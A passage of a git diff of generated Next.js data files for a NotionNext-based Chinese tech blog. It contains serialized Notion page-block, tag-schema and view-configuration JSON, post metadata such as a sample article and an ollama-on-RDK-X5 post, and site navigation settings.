9-b6d2-b67bac3f464d"}},"5396a260-c16a-4da5-9324-b64f4d1a4f46":{"value":{"id":"5396a260-c16a-4da5-9324-b64f4d1a4f46","type":"column","content":["b970c508-ada6-4cd2-be36-58fcc1de9201","82610ac2-030e-4a50-b944-af1127776438"],"format":{"column_ratio":0.34601449275362306,"copied_from_pointer":{"id":"0439e06e-c3f8-4170-ba05-29b7ff61d8a0","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711119084263,"last_edited_time":1711119084263,"parent_id":"75f502ae-f3f4-4989-9ccd-cfaa0824d0c1","parent_table":"block","alive":true,"copied_from":"0439e06e-c3f8-4170-ba05-29b7ff61d8a0"}},"c28bcbf2-1f56-480b-be97-471efef9a57b":{"value":{"id":"c28bcbf2-1f56-480b-be97-471efef9a57b","type":"column","content":["86091e65-5361-476b-a0dc-7b3e61614386"],"format":{"column_ratio":0.4039855072463767,"copied_from_pointer":{"id":"2db937b6-5aae-440c-a285-8be50e3b5e55","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711119084263,"last_edited_time":1711119084263,"parent_id":"75f502ae-f3f4-4989-9ccd-cfaa0824d0c1","parent_table":"block","alive":true,"copied_from":"2db937b6-5aae-440c-a285-8be50e3b5e55"}},"1f3381bc-eb00-4d61-8f6e-5c5e09f4a5cd":{"value":{"id":"1f3381bc-eb00-4d61-8f6e-5c5e09f4a5cd","type":"image","properties":{"size":[["980.0KB"]],"title":[["favicon.png"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7/favicon.png"]]},"format":{"block_width":144,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7/favicon.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":1,"copied_from_pointer":{"id":"97938c4a-3571-4bef-b055-178812ea72c6","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"block_preserve_scale":true},"created_time":1711119084264,"last_edited_time":1711119084264,"parent_id":"e47e97cd-2e5a-4f01-86c9-297f278a012c","parent_table":"block","alive":true,"copied_from":"97938c4a-3571-4bef-b055-178812ea72c6","file_ids":["e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7"]}},"b970c508-ada6-4cd2-be36-58fcc1de9201":{"value":{"id":"b970c508-ada6-4cd2-be36-58fcc1de9201","type":"text","properties":{"title":[["\n",[["i"]]],[" 复仇工程",[["i"],["b"]]],["\n ",[["i"]]],["bothsavage.github.io",[["a","https://bothsavage.github.io/archive"],["i"]]],["\n",[["i"]]]]},"format":{"copied_from_pointer":{"id":"01338c9e-9395-42fa-858b-73431aab37fa","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711119084263,"last_edited_time":1711121470727,"parent_id":"5396a260-c16a-4da5-9324-b64f4d1a4f46","parent_table":"block","alive":true,"copied_from":"01338c9e-9395-42fa-858b-73431aab37fa"}},"82610ac2-030e-4a50-b944-af1127776438":{"value":{"id":"82610ac2-030e-4a50-b944-af1127776438","type":"text","format":{"copied_from_pointer":{"id":"5e9529ea-6019-4fc2-84b6-796d696ac4fd","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711119084263,"last_edited_time":1711119084263,"parent_id":"5396a260-c16a-4da5-9324-b64f4d1a4f46","parent_table":"block","alive":true,"copied_from":"5e9529ea-6019-4fc2-84b6-796d696ac4fd"}},"86091e65-5361-476b-a0dc-7b3e61614386":{"value":{"id":"86091e65-5361-476b-a0dc-7b3e61614386","type":"image","properties":{"size":[["85.8KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3436ffe0-3684-445a-824f-2fd9fa5ad2a6/Untitled.png"]]},"format":{"block_width":288,"block_height":315,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3436ffe0-3684-445a-824f-2fd9fa5ad2a6/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.525,"copied_from_pointer":{"id":"4ac99a1d-7b5a-4420-a756-a9131f055bd0","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"block_preserve_scale":true},"created_time":1711119084264,"last_edited_time":1711119084264,"parent_id":"c28bcbf2-1f56-480b-be97-471efef9a57b","parent_table":"block","alive":true,"copied_from":"4ac99a1d-7b5a-4420-a756-a9131f055bd0","file_ids":["3436ffe0-3684-445a-824f-2fd9fa5ad2a6"]}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":22,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"},{"id":"c466d345-55bf-4155-a77e-fcd58819a455","color":"brown","value":"准备"},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","color":"green","value":"万里长征"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","color":"gray","value":"运维"},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","color":"orange","value":"linux"},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","color":"orange","value":"脚本"},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","color":"yellow","value":"面试"},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","color":"gray","value":"go"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1","fbea6284-6910-456b-9292-c62e080c9f59"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"space":{"eb3e1328-8f32-4ff5-8d18-8ea80020e175":{"role":"none"}},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":53,"type":"table","name":"Table","format":{"table_properties":[{"width":295,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","33fa284f-0c06-4f26-9ca3-be25469051c4","e267a30e-29c7-47df-8dc2-cbba50b01443","5bc86ceb-2501-4ba3-a7f9-588407e6d47a","154f5010-17f2-8079-beb8-c6a44f0aa69c","153f5010-17f2-8037-8e89-ecfcb9d24a89","b7f50367-a6df-4492-a459-4baef5b1e4c3","a741252c-e46b-4342-998c-58ebc362fc0d","df1cfd49-4665-4429-a601-d6e8d57f2a50","6f317036-a205-45d7-98ce-c95a34ca3000","2187a0b2-05d0-4661-906d-3f47acc5b022","023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","ac8b0aec-6e91-49e0-b6c0-806e97729436","fdb70c2f-29b1-4635-bb36-fc826bad8fbd","2caa6a98-fd82-4de7-838f-e08dfe6649ab","146219e7-c178-4485-b223-22f4b977333c","71879fde-4992-4276-9767-ac5bd71e4058","9a78ba09-76ce-4344-bad5-f6d60dc0680e","63830328-e0f0-477a-b327-bc4ab921f89c","4d955058-b605-46cf-b242-1535b732af30","9a11ddf0-58ae-4450-8583-5ba3e2108e0a","1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","3505b511-076b-47a7-aa1a-95e702c54e6b","463a3c80-4e43-42d9-b436-1299d00df6b2","11d73154-336e-4e5a-8e92-8a8b36b2bc92","df0db62b-d0ed-47f0-b5be-445bfef1f6af","3fb907b8-6154-452a-94f7-a018ba092632","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":2,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"property":"bB{M"},{"value":{"type":"select","value":"面试准备"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":28,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"},{"value":{"type":"select","value":"准备"},"property":"bB{M"},{"value":{"type":"select","value":"万里长征"},"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"2024-1-18","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},"next":{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":""},"recommendPosts":[]},"__N_SSG":true} \ No newline at end of file diff --git a/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/240325-ollama.json b/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/240325-ollama.json new file mode 100644 index 000000000..7cdf1aacb --- /dev/null +++ b/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/240325-ollama.json @@ -0,0 +1 @@ +{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","title":"地瓜RDK X5上手ollama大模型测试","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","category":null,"tags":null,"summary":null,"slug":"article/241206-rdk","pageIcon":"🗒️","lastEditedDate":"2024-12-06T09:25:20.578Z"},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","title":"多模态视频大模型Aria在Docker部署","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","category":"技术分享","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core 